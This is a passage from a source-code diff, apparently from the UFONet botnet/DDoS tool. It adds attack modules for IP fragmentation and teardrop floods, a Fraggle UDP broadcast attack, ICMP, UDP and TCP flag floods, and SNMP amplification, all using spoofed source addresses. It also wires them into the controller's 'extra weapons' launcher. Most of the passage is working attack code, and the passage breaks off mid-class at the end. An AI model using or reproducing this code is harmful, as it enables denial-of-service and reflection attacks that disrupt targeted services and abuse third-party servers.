[Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]") return else: - print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]") + print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]") return def extract_dnss(self): @@ -3719,16 +4044,38 @@ def extract_dnss(self): dnss = [ dns.replace('\n','') for dns in dnss ] f.close() if not dnss: - print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]") + print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]") return else: return dnss except: if os.path.exists(self.dnss_file) == True: - print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]") + print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]") + return + else: + print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]") + return + + def extract_snmps(self): + # extract snmps from file + options = self.options + try: + f = open(self.snmps_file) + snmps = f.readlines() + snmps = [ snmp.replace('\r','') for snmp in snmps ] + snmps = [ snmp.replace('\n','') for snmp in snmps ] + f.close() + if not snmps: + print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]") + return + else: + return snmps + except: + if os.path.exists(self.snmps_file) == True: + print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]") return else: - print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]") + print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]") return def extract_zombies(self): @@ -3902,6 +4249,19 @@ def update_ntps(self, ntps_ready): self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole) f.close() + def update_snmps(self, snmps_ready): + # update snmps on file + options = self.options + if options.download or options.download_github: # append only new snmps to list + f = open(self.snmps_file) + snmps_on_file = f.read().splitlines() + with open(self.snmps_file, "a") as snmp_list: + for snmp in snmps_ready: + if snmp not in snmps_on_file: # parse possible repetitions + snmp_list.write(snmp + os.linesep) + self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole) + f.close() + def search_rpc(self, rpc_host): options = self.options rpc_vulnerable = False @@ -4466,7 +4826,7 @@ def attacking(self, zombies, target): else: print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n") - def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist): + def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper): # perform some other extra attacks (such as DoS techniques) time.sleep(2) # aiming (multi-threading flow time compensation) if loic: @@ -4580,6 +4940,102 @@ def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, self.t9.daemon = True self.t9.start() self.update_monlist_stats() # add new MONLIST attack to mothership stats + if ufoack: + try: + self.options.ufoack = int(ufoack) + except: + self.options.ufoack = 101 # default UFOACK requests + if self.options.ufoack < 1: + self.options.ufoack = 101 + self.instance = UFOACK() # instance main class for UFOACK operations + self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads + self.t10.daemon = True + self.t10.start() + self.update_ufoack_stats() # add new UFOACK attack to mothership stats + if uforst: + try: + self.options.uforst = int(uforst) + except: + self.options.uforst = 101 # default UFORST requests + if self.options.uforst < 1: + self.options.uforst = 101 + self.instance = UFORST() # instance main class for UFORST operations + self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads + self.t11.daemon = True + self.t11.start() + self.update_uforst_stats() # add new UFORST attack to mothership stats + if droper: + try: + self.options.droper = int(droper) + except: + self.options.droper = 101 # default DROPER requests + if self.options.droper < 1: + self.options.droper = 101 + self.instance = DROPER() # instance main class for DROPER operations + self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads + self.t12.daemon = True + self.t12.start() + self.update_droper_stats() # add new DROPER attack to mothership stats + if overlap: + try: + self.options.overlap = int(overlap) + except: + self.options.overlap = 101 # default OVERLAP requests + if self.options.overlap < 1: + self.options.overlap = 101 + self.instance = OVERLAP() # instance main class for OVERLAP operations + self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads + self.t13.daemon = True + self.t13.start() + self.update_overlap_stats() # add new OVERLAP attack to mothership stats + if pinger: + try: + self.options.pinger = int(pinger) + except: + self.options.pinger = 101 # default PINGER requests + if self.options.pinger < 1: + self.options.pinger = 101 + self.instance = PINGER() # instance main class for PINGER operations + self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads + self.t14.daemon = True + self.t14.start() + self.update_pinger_stats() # add new PINGER attack to mothership stats + if ufoudp: + try: + self.options.ufoudp = int(ufoudp) + except: + self.options.ufoudp = 101 # default UFOUDP requests + if self.options.ufoudp < 1: + self.options.ufoudp = 101 + self.instance = UFOUDP() # instance main class for UFOUDP operations + self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads + self.t15.daemon = True + self.t15.start() + self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats + if fraggle: + try: + self.options.fraggle = int(fraggle) + except: + self.options.fraggle = 101 # default FRAGGLE requests + if self.options.fraggle < 1: + self.options.fraggle = 101 + self.instance = FRAGGLE() # instance main class for FRAGGLE operations + self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads + self.t16.daemon = True + self.t16.start() + self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats + if sniper: + try: + self.options.sniper = int(sniper) + except: + self.options.sniper = 101 # default SNIPER requests + if self.options.sniper < 1: + self.options.sniper = 101 + self.instance = SNIPER() # instance main class for SNIPER operations + self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads + self.t17.daemon = True + self.t17.start() + self.update_sniper_stats() # add new SNIPER attack to mothership stats def stressing(self, target, zombie): # perform a DDoS Web attack against a target, requesting records on target's database @@ -4818,8 +5274,8 @@ def injection(self, target, zombies, head_check = True): num_hits = 0 num_zombie = 1 # start to attack the target with [MODS] - if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist: - ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks + if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.fraggle or options.xmas or options.ufoack or options.uforst or options.droper or options.overlap or options.pinger or options.ufoudp or options.nuke or options.tachyon or options.monlist or options.sniper: + ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.fraggle, self.options.xmas, self.options.ufoack, self.options.uforst, self.options.droper, self.options.overlap, self.options.pinger, self.options.ufoudp, self.options.nuke, self.options.tachyon, self.options.monlist, self.options.sniper)) # multithreading flow for extra attacks ex.daemon = True # extra weapons are threaded as daemons ex.start() # start to attack the target with [ARMY] @@ -4923,6 +5379,22 @@ def injection(self, target, zombies, head_check = True): self.t8.join() if self.options.monlist: self.t9.join() + if self.options.ufoack: + self.t10.join() + if self.options.uforst: + self.t11.join() + if self.options.droper: + self.t12.join() + if self.options.overlap: + self.t13.join() + if self.options.pinger: + self.t14.join() + if self.options.ufoudp: + self.t15.join() + if self.options.fraggle: + self.t16.join() + if self.options.sniper: + self.t17.join() if self.options.target_list: self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit! print ("\x1b[2J\x1b[H") # black magic diff --git a/core/mods/droper.py b/core/mods/droper.py new file mode 100755 index 0000000..7abdd5a --- /dev/null +++ b/core/mods/droper.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*-" +""" +This file is part of the UFONet project, https://ufonet.03c8.net + +Copyright (c) 2013/2020 | psy + +You should have received a copy of the GNU General Public License along +with UFONet; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys, random, socket +try: + from urlparse import urlparse +except: + from urllib.parse import urlparse +try: + from scapy.all import * +except: + print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n") + sys.exit(2) + +# UFONet IP FRAGMENTATION flooder (DROPER) +def randIP(): + ip = ".".join(map(str, (random.randint(0,255)for _ in range(4)))) + return ip + +def randInt(): + x = random.randint(1,65535) # TCP ports + return x + +def droperize(ip, sport, rounds): + n=0 + try: + for x in range (0,int(rounds)): + n=n+1 + s_zombie_port = randInt() + IP_p = IP() + IP_p.src = randIP() + try: + IP_p.dst = ip + except: + print("[Error] [AI] [DROPER] Imposible to resolve IP from 'target' -> [Aborting!]\n") + break + TCP_l = TCP() + TCP_l.sport = s_zombie_port + TCP_l.dport = sport + try: + payload="A"*254+"B"*2 # 256b = 33frags + packet=IP(src=IP_p.src,dst=IP_p.dst,id=12345)/UDP(sport=TCP_l.sport,dport=TCP_l.dport)/payload + frags=fragment(packet,fragsize=2) # fragment size + for f in frags: + send(f, verbose=0) + print("[Info] [AI] [DROPER] Firing 'deuterium bosons' ["+str(n)+"] -> [DROPING!]") + time.sleep(1) # sleep time required for balanced sucess + except: + print("[Error] [AI] [DROPER] Failed to engage with 'deuterium bosons' ["+str(n)+"]") + except: + print("[Error] [AI] [DROPER] Failing to engage... -> Is still target online? -> [Checking!]") + +class DROPER(object): + def attacking(self, target, rounds): + print("[Info] [AI] 'IP FRAGMENTATION' (DROPER) is ready to fire: [" , rounds, "deuterium bosons ]") + if target.startswith('http://'): + target = target.replace('http://','') + sport = 80 + elif target.startswith('https://'): + target = target.replace('https://','') + sport = 443 + try: + ip = socket.gethostbyname(target) + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + url = urlparse(target) + a = r.query(url.netloc, "A") # A record + for rd in a: + ip = str(rd) + except: + ip = target + if ip == "127.0.0.1" or ip == "localhost": + print("[Info] [AI] [DROPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n") + return + droperize(ip, sport, rounds) # attack with DROPER using threading diff --git a/core/mods/fraggle.py b/core/mods/fraggle.py new file mode 100755 index 0000000..aa448de --- /dev/null +++ b/core/mods/fraggle.py @@ -0,0 +1,108 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*-" +""" +This file is part of the UFONet project, https://ufonet.03c8.net + +Copyright (c) 2013/2020 | psy + +You should have received a copy of the GNU General Public License along +with UFONet; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys, random, socket +import urllib.parse +try: + from scapy.all import * +except: + print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n") + sys.exit(2) + +# UFONet UDP broadcast attack (FRAGGLE) +def randInt(): + x = random.randint(1,65535) # TCP ports + return x + +def sIP(base_stations): # extract 'base stations' + bs = {} + s_zombie = random.choice(base_stations).strip() # shuffle 'base stations' + if not s_zombie in bs: + url = urllib.parse.urlparse(s_zombie) + try: + s_zombie_ip = socket.gethostbyname(url.netloc) + bs[s_zombie] = s_zombie_ip # add to dict of resolved domains + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + a = r.query(url.netloc, "A") # A record + for rd in a: + s_zombie_ip = str(rd) + bs[s_zombie] = s_zombie_ip # add to dict of resolved domains + except: + s_zombie_ip = s_zombie + else: + s_zombie_ip = bs.get(s_zombie) + return s_zombie_ip + +def fraggleize(ip, sport, rounds): + f = open('botnet/zombies.txt') # use 'zombies' as 'base stations' + base_stations = f.readlines() + base_stations = [ base_station.replace('\n','') for base_station in base_stations ] + f.close() + n=0 + try: + for x in range (0,int(rounds)): + n=n+1 + s_zombie_ip = sIP(base_stations) + if s_zombie_ip == None: # not any 'base stations' available + print("[Error] [AI] [FRAGGLE] Imposible to retrieve 'base stations' -> [Aborting!]\n") + break + seq = randInt() + window = randInt() + IP_p = IP() + try: + IP_p.src = ip # UDP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka FRAGGLE attack) + except: + print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from target! -> [Aborting!]\n") + break + try: + IP_p.dst = s_zombie_ip + except: + print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from 'base station' -> [Aborting!]\n") + break + try: + send(IP_p/UDP(), verbose=0) + print("[Info] [AI] [FRAGGLE] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]") + time.sleep(1) # sleep time required for balanced sucess + except: + print("[Error] [AI] [FRAGGLE] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]") + except: + print("[Error] [AI] [FRAGGLE] Failing to engage... -> Is still target online? -> [Checking!]") + +class FRAGGLE(object): + def attacking(self, target, rounds): + print("[Info] [AI] UDP Broadcast (FRAGGLE) is redirecting: [" , rounds, "base stations ]") + if target.startswith('http://'): + target = target.replace('http://','') + sport = 80 + elif target.startswith('https://'): + target = target.replace('https://','') + sport = 443 + try: + ip = socket.gethostbyname(target) + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + url = urlparse(target) + a = r.query(url.netloc, "A") # A record + for rd in a: + ip = str(rd) + except: + ip = target + if ip == "127.0.0.1" or ip == "localhost": + print("[Info] [AI] [FRAGGLE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n") + return + fraggleize(ip, sport, rounds) # attack with FRAGGLE using threading diff --git a/core/mods/monlist.py b/core/mods/monlist.py old mode 100644 new mode 100755 diff --git a/core/mods/overlap.py b/core/mods/overlap.py new file mode 100755 index 0000000..879aab5 --- /dev/null +++ b/core/mods/overlap.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*-" +""" +This file is part of the UFONet project, https://ufonet.03c8.net + +Copyright (c) 2013/2020 | psy + +You should have received a copy of the GNU General Public License along +with UFONet; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys, random, socket +try: + from urlparse import urlparse +except: + from urllib.parse import urlparse +try: + from scapy.all import * +except: + print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n") + sys.exit(2) + +# UFONet IP FRAGMENTATION (by overlapping) flooder (OVERLAP) +def randIP(): + ip = ".".join(map(str, (random.randint(0,255)for _ in range(4)))) + return ip + +def randInt(): + x = random.randint(1,65535) # TCP ports + return x + +def overlapize(ip, sport, rounds): + n=0 + try: + for x in range (0,int(rounds)): + n=n+1 + s_zombie_port = randInt() + IP_p = IP() + IP_p.src = randIP() + try: + IP_p.dst = ip + except: + print("[Error] [AI] [OVERLAP] Imposible to resolve IP from 'target' -> [Aborting!]\n") + break + try: + payload="A"*15 + overlap="B"*9 # overlap size + send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x1, frag=0)/payload, verbose=0) + send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x0, frag=1)/overlap, verbose=0) # teardrop frag + print("[Info] [AI] [OVERLAP] Firing 'deuterium gravitons' ["+str(n)+"] -> [OVERLAPPING!]") + time.sleep(1) # sleep time required for balanced sucess + except: + print("[Error] [AI] [OVERLAP] Failed to engage with 'deuterium gravitons' ["+str(n)+"]") + except: + print("[Error] [AI] [OVERLAP] Failing to engage... -> Is still target online? -> [Checking!]") + +class OVERLAP(object): + def attacking(self, target, rounds): + print("[Info] [AI] 'IP OVERLAPPING' (OVERLAPGER) is ready to fire: [" , rounds, "deuterium gravitons ]") + if target.startswith('http://'): + target = target.replace('http://','') + sport = 80 + elif target.startswith('https://'): + target = target.replace('https://','') + sport = 443 + try: + ip = socket.gethostbyname(target) + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + url = urlparse(target) + a = r.query(url.netloc, "A") # A record + for rd in a: + ip = str(rd) + except: + ip = target + if ip == "127.0.0.1" or ip == "localhost": + print("[Info] [AI] [OVERLAP] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n") + return + overlapize(ip, sport, rounds) # attack with OVERLAP using threading diff --git a/core/mods/pinger.py b/core/mods/pinger.py new file mode 100755 index 0000000..0429a7c --- /dev/null +++ b/core/mods/pinger.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*-" +""" +This file is part of the UFONet project, https://ufonet.03c8.net + +Copyright (c) 2013/2020 | psy + +You should have received a copy of the GNU General Public License along +with UFONet; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys, random, socket +try: + from urlparse import urlparse +except: + from urllib.parse import urlparse +try: + from scapy.all import * +except: + print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n") + sys.exit(2) + +# UFONet ICMP (echo ping) attack (PINGER) +def randIP(): + ip = ".".join(map(str, (random.randint(0,255)for _ in range(4)))) + return ip + +def randInt(): + x = random.randint(1,65535) # TCP ports + return x + +def pingerize(ip, sport, rounds): + n=0 + try: + for x in range (0,int(rounds)): + n=n+1 + IP_p = IP() + IP_p.src = randIP() + try: + IP_p.dst = ip + except: + print("[Error] [AI] [PINGER] Imposible to resolve IP from 'target' -> [Aborting!]\n") + break + try: + send(IP_p/ICMP(), verbose=0) + print("[Info] [AI] [PINGER] Firing 'graphene bullets' ["+str(n)+"] -> [SHOOTING!]") + time.sleep(1) # sleep time required for balanced sucess + except: + print("[Error] [AI] [PINGER] Failed to engage with 'graphene bullets' ["+str(n)+"]") + except: + print("[Error] [AI] [PINGER] Failing to engage... -> Is still target online? -> [Checking!]") + +class PINGER(object): + def attacking(self, target, rounds): + print("[Info] [AI] ICMP (PINGER) is ready to fire: [" , rounds, "graphene bullets ]") + if target.startswith('http://'): + target = target.replace('http://','') + sport = 80 + elif target.startswith('https://'): + target = target.replace('https://','') + sport = 443 + try: + ip = socket.gethostbyname(target) + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + url = urlparse(target) + a = r.query(url.netloc, "A") # A record + for rd in a: + ip = str(rd) + except: + ip = target + if ip == "127.0.0.1" or ip == "localhost": + print("[Info] [AI] [PINGER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n") + return + pingerize(ip, sport, rounds) # attack with PINGER using threading diff --git a/core/mods/smurf.py b/core/mods/smurf.py index 0a84677..088eb18 100755 --- a/core/mods/smurf.py +++ b/core/mods/smurf.py @@ -58,8 +58,6 @@ def smurfize(ip, sport, rounds): if s_zombie_ip == None: # not any 'base stations' available print("[Error] [AI] [SMURF] Imposible to retrieve 'base stations' -> [Aborting!]\n") break - seq = randInt() - window = randInt() IP_p = IP() try: IP_p.src = ip # ICMP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka SMURF attack) @@ -71,11 +69,6 @@ def smurfize(ip, sport, rounds): except: print("[Error] [AI] [SMURF] Imposible to resolve IP from 'base station' -> [Aborting!]\n") break - TCP_l = TCP() - TCP_l.sport = sport - TCP_l.dport = sport - TCP_l.seq = seq - TCP_l.window = window try: send(IP_p/ICMP(), verbose=0) print("[Info] [AI] [SMURF] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]") diff --git a/core/mods/sniper.py b/core/mods/sniper.py new file mode 100755 index 0000000..9e51ec3 --- /dev/null +++ b/core/mods/sniper.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*-" +""" +This file is part of the UFONet project, https://ufonet.03c8.net + +Copyright (c) 2013/2020 | psy + +You should have received a copy of the GNU General Public License along +with UFONet; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys, random +try: + from scapy.all import * +except: + print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n") + sys.exit(2) + +snmp_file = "botnet/snmp.txt" # SNMP servers IP list + +oid ="1.3.6.1.2.1.1.1" # OID sysDescr + +# UFONet SNMP Amplification (SNIPER) / [Port: UDP/161] +def sniperize(ip, rounds): + n=0 + try: # (SNMP) Amplification attack uses publically accessible SNMP servers to flood a target with SNMP response traffic + with open(snmp_file) as f: # extract SNMP servers from file + snmp_d = f.read().splitlines() + f.close() + p_num=0 + for x in range (0,int(rounds)): + try: + n=n+1 + print("[Info] [AI] [SNIPER] Breaking SNMP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]") + for j in snmp_d: + p_num += 1 + packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=161)/SNMP(version="v2c",community="public",PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))])) + try: + send(packet, verbose=0) # not using sr1 because non-replies are required + print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]") + except: + print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]") + except: + print("[Error] [AI] [SNIPER] Failed breaking SNMP 'parsec' ["+str(n)+"]") + except: + print("[Error] [AI] [SNIPER] Failing to engage... -> Is still target online? -> [Checking!]") + +class SNIPER(object): + def attacking(self, target, rounds): + print("[Info] [AI] SNMP Amplification (SNIPER) is ready to broke: [" , rounds, "parsecs ]") + if target.startswith('http://'): + target = target.replace('http://','') + elif target.startswith('https://'): + target = target.replace('https://','') + try: + ip = socket.gethostbyname(target) + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + url = urlparse(target) + a = r.query(url.netloc, "A") # A record + for rd in a: + ip = str(rd) + except: + ip = target + if ip == "127.0.0.1" or ip == "localhost": + print("[Info] [AI] [SNIPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n") + return + sniperize(ip, rounds) # attack with SNIPER using threading diff --git a/core/mods/ufoack.py b/core/mods/ufoack.py new file mode 100755 index 0000000..b019879 --- /dev/null +++ b/core/mods/ufoack.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*-" +""" +This file is part of the UFONet project, https://ufonet.03c8.net + +Copyright (c) 2013/2020 | psy + +You should have received a copy of the GNU General Public License along +with UFONet; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys, random, socket +try: + from urlparse import urlparse +except: + from urllib.parse import urlparse +try: + from scapy.all import * +except: + print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n") + sys.exit(2) + +# UFONet TCP 'ACK+PUSH' packet attack (UFOACK) +def randIP(): + ip = ".".join(map(str, (random.randint(0,255)for _ in range(4)))) + return ip + +def randInt(): + x = random.randint(1,65535) # TCP ports + return x + +def ackize(ip, sport, rounds): + n=0 + try: + for x in range (0,int(rounds)): + n=n+1 + s_zombie_port = randInt() + seq = randInt() + window = randInt() + IP_p = IP() + IP_p.src = randIP() + try: + IP_p.dst = ip + except: + print("[Error] [AI] [UFOACK] Imposible to resolve IP from 'target' -> [Aborting!]\n") + break + TCP_l = TCP() + TCP_l.sport = s_zombie_port + TCP_l.dport = sport + TCP_l.seq = seq + TCP_l.window = window + TCP_l.flags = "AP" # FLAGS SET (ACK+PUSH) + try: + send(IP_p/TCP_l, verbose=0) + print("[Info] [AI] [UFOACK] Firing 'ionized crystals' ["+str(n)+"] -> [IONIZING!]") + time.sleep(1) # sleep time required for balanced sucess + except: + print("[Error] [AI] [UFOACK] Failed to engage with 'ionized crystals' ["+str(n)+"]") + except: + print("[Error] [AI] [UFOACK] Failing to engage... -> Is still target online? -> [Checking!]") + +class UFOACK(object): + def attacking(self, target, rounds): + print("[Info] [AI] TCP 'ACK+PUSH' (UFOACK) is ready to fire: [" , rounds, "ionized crystals ]") + if target.startswith('http://'): + target = target.replace('http://','') + sport = 80 + elif target.startswith('https://'): + target = target.replace('https://','') + sport = 443 + try: + ip = socket.gethostbyname(target) + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + url = urlparse(target) + a = r.query(url.netloc, "A") # A record + for rd in a: + ip = str(rd) + except: + ip = target + if ip == "127.0.0.1" or ip == "localhost": + print("[Info] [AI] [UFOACK] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n") + return + ackize(ip, sport, rounds) # attack with UFOACK using threading diff --git a/core/mods/uforst.py b/core/mods/uforst.py new file mode 100755 index 0000000..f5b99fc --- /dev/null +++ b/core/mods/uforst.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*-" +""" +This file is part of the UFONet project, https://ufonet.03c8.net + +Copyright (c) 2013/2020 | psy + +You should have received a copy of the GNU General Public License along +with UFONet; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys, random, socket +try: + from urlparse import urlparse +except: + from urllib.parse import urlparse +try: + from scapy.all import * +except: + print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n") + sys.exit(2) + +# UFONet TCP 'RST+FIN' packet attack (UFORST) +def randIP(): + ip = ".".join(map(str, (random.randint(0,255)for _ in range(4)))) + return ip + +def randInt(): + x = random.randint(1,65535) # TCP ports + return x + +def rstize(ip, sport, rounds): + n=0 + try: + for x in range (0,int(rounds)): + n=n+1 + s_zombie_port = randInt() + seq = randInt() + window = randInt() + IP_p = IP() + IP_p.src = randIP() + try: + IP_p.dst = ip + except: + print("[Error] [AI] [UFORST] Imposible to resolve IP from 'target' -> [Aborting!]\n") + break + TCP_l = TCP() + TCP_l.sport = s_zombie_port + TCP_l.dport = sport + TCP_l.seq = seq + TCP_l.window = window + TCP_l.flags = "RF" # FLAGS SET (RST+FIN) + try: + send(IP_p/TCP_l, verbose=0) + print("[Info] [AI] [UFORST] Firing 'crystalized stones' ["+str(n)+"] -> [CRYSTALIZING!]") + time.sleep(1) # sleep time required for balanced sucess + except: + print("[Error] [AI] [UFORST] Failed to engage with 'crystalized stones' ["+str(n)+"]") + except: + print("[Error] [AI] [UFORST] Failing to engage... -> Is still target online? -> [Checking!]") + +class UFORST(object): + def attacking(self, target, rounds): + print("[Info] [AI] TCP 'RST+FIN' (UFORST) is ready to fire: [" , rounds, "crystalized stones ]") + if target.startswith('http://'): + target = target.replace('http://','') + sport = 80 + elif target.startswith('https://'): + target = target.replace('https://','') + sport = 443 + try: + ip = socket.gethostbyname(target) + except: + try: + import dns.resolver + r = dns.resolver.Resolver() + r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers + url = urlparse(target) + a = r.query(url.netloc, "A") # A record + for rd in a: + ip = str(rd) + except: + ip = target + if ip == "127.0.0.1" or ip == "localhost": + print("[Info] [AI] [UFORST] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n") + return + rstize(ip, sport, rounds) # attack with UFORST using threading diff --git a/core/mods/ufoudp.py b/core/mods/ufoudp.py new file mode 100755 index 0000000..40597d5 --- /dev/null +++ b/core/mods/ufoudp.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*-" +""" +This file is part of the UFONet project, https://ufonet.03c8.net + +Copyright (c) 2013/2020 | psy + +You should have received a copy of the GNU General Public License along +with UFONet; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys, random, socket +try: + from urlparse import urlparse +except: + from urllib.parse import urlparse +try: + from scapy.all import * +except: + print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n") + sys.exit(2) + +# UFONet UDP flooder (UFOUDP) +def randIP(): + ip = ".".join(map(str, (random.randint(0,255)for _ in range(4)))) + return ip + +def randInt(): + x = random.randint(1,65535) # TCP ports + return x + +def ufoudpize(ip, sport, rounds): + n=0 + try: + for x in range (0,int(rounds)): + n=n+1 + IP_p = IP() + IP_p.src = randIP() + try: + IP_p.dst = ip + except: + print("[Error] [AI] [UFOUDP] Imposible to resolve IP from 'target' -> [Aborting!]\n") + break + try: + send(IP_p/UDP(), verbose=0) + print("[Info] [AI] [UFOUDP] Firing 'positron rays' ["+str(n)+"] -> [SHOOTING!]") + time.sleep(1) # sleep time required for balanced sucess + except: + print("[Error] [AI] [UFOUDP] Failed to engage with 'positron rays' ["+str(n)+"]") + except: + print("[Error] [AI] [UFOUDP] Failing to engage... -> Is still target online? -> [Checking!]") + +class UFOUDP(object): + def attacking(self, 